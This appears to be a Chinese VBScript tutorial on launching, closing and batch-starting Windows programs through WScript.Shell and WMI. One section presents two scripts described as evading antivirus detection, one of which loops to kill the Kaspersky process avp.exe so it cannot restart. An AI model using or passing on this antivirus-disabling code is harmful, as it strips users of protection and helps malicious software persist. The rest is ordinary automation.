vbs 打開程序與關閉程序

vbs 打開應用程序

Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
'下行是設置延時啟動時間 5000等於5秒
WScript.Sleep(5000)
'下行引號內填寫服務器上批處理文件的共享路徑
Wsh.Run "C:\vscode\vscode.exe",false,false
Set Wsh=NoThing
WScript.quit

vbs 關閉應用程序

Dim Wsh
Set Wsh = WScript.CreateObject("WScript.Shell")
'下行是設置延時啟動時間 5000等於5秒
WScript.Sleep(5000)
'下行引號內填寫服務器上批處理文件的共享路徑
Wsh.Run "taskkill /f /im vscode.exe",false,false
Set Wsh=NoThing
WScript.quit

vbs 常用命令介紹

Wsh.Run "打開文件所使用的程序+空格+程序路徑",x,y


Run方法有三個參數:
第一個參數:是你要執行的程序的路徑，
第二個參數:是窗口的形式，0后台運行；1正常運行；2最小化；3最大化；缺省的話表示正常運行
第三個參數:是表示這個腳本是等待還是繼續執行，如果設為了True,腳本就會等待調用的程序退出后再向后執行。

y為參數 下面為可選值： 
0 隱藏一個窗口並激活另一個窗口。 
1 激活並顯示窗口。如果窗口處於最小化或最大化狀態，則系統將其還原到原始大小和位置。第一次顯示該窗口時，應用程序應指定此標志。 
2 激活窗口並將其顯示為最小化窗口。
3 激活窗口並將其顯示為最大化窗口。 
4 按最近的窗口大小和位置顯示窗口。活動窗口保持活動狀態。 
5 激活窗口並按當前的大小和位置顯示它。 
6 最小化指定的窗口，並按照 Z 順序激活下一個頂部窗口。 
7 將窗口顯示為最小化窗口。活動窗口保持活動狀態。 
8 將窗口顯示為當前狀態。活動窗口保持活動狀態。 
9 激活並顯示窗口。如果窗口處於最小化或最大化狀態，則系統將其還原到原始大小和位置。還原最小化窗口時，應用程序應指定此標志。 
10 根據啟動應用程序的程序狀態來設置顯示狀態。

vbs 打開應用程序並檢查程序，如已有就不打開！

pro="c:\windows\system32\notepad.exe"'要打開的程序，寫完整路徑
 
n=split(pro,"\")
name=n(ubound(n))
 
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ 
      s=s&sep&ps.name:sep="|":next
      s=split(s,"|")
for i=0 to ubound(s)
      if name=s(i) then wscript.quit
next
 
createobject("wscript.shell").run pro

用VBS實現腳本結束進程與防止進程啟動

'Kill.vbs用來在cmd下結束進程，Dis.vbs用來在窗口模式下防止某進程再次啟動。這兩個VBS都不會被殺毒軟件KILL掉，並且有一定的隱蔽性……看代碼！（'為注釋） 
Kill.vbs： 
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI腳本入侵技術，我不能解釋清楚！  
      if ps.handle=wscript.arguments(0) then '判斷進程的PID號是否與獲得的PID號參數相等  
            wscript.echo ps.terminate '如果相等就結束指定PID號對應的進程  
      end if  
next  
 
Dis.vbs：
dim y,x '不要這行也行……  
do '來個死循環……一直在判斷！do ... loop內為循環體！  
      set y=getobject("winmgmts:\\.\root\cimv2") '和上面解釋一樣，這也是涉及到微軟的WMI技術！  
      set x=y.execquery("select * from win32_process where name='avp.exe'")  
      '查詢語句，where后判斷avp.exe（卡巴）是否存在進程中！  
      '這樣當卡巴被上面的Kill.vbs結束時就再也啟動不起來了。除非，把Dis.vbs結束了先……  
      for each i in x  
            i.terminate() '卡巴要啟動馬上就終止……  
      next  
      wscript.sleep  
loop  

制作 一鍵啟動多個應用程序 ， 只需要一個快捷鍵把我們想要的程序全部啟動

MSN Messenger: "C:\Program Files\MSN Messenger\msnmsgr.exe"
Word: "C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"
'（注：這是Office2007的情況，如果是Office2003或OfficeXP，需把路徑中的Office12換成Office11或Office10，下同）
Excel: "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
Access: "C:\Program Files\Microsoft Office\Office12\MSACCESS.EXE"
PowerPoint: "C:\Program Files\Microsoft Office\Office12\POWERPNT.EXE"

'接下來，新建一個文本文檔，按下面格式將你要啟動的程序輸進去：
'Program1 = "C:\Program Files\Tencent\QQ\QQ.exe"
'Program2 = "C:\Program Files\MSN Messenger\msnmsgr.exe"
'Program3 = "C:\Program Files\Outlook Express\msimn.exe"
'Program4 = "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
'……

輸完以后，再根據你上面輸入的行數繼續輸入下面命令。
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program1)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program2)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program3)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program4)
……

然后將此文件保存在任一目錄下，並將擴展名改為vbs，再點右鍵，選“發送到→桌面快捷方式”。最后到桌面上找到這個快捷方式，點右鍵選“屬性”在“快捷鍵”中設置一個快捷鍵（如F9）。

以后再開機，只須輕輕按一下F9鍵，就能啟動你需要的全部程序.

來源 https://www.cnblogs.com/jinjiangongzuoshi/archive/2013/07/17/3196988.html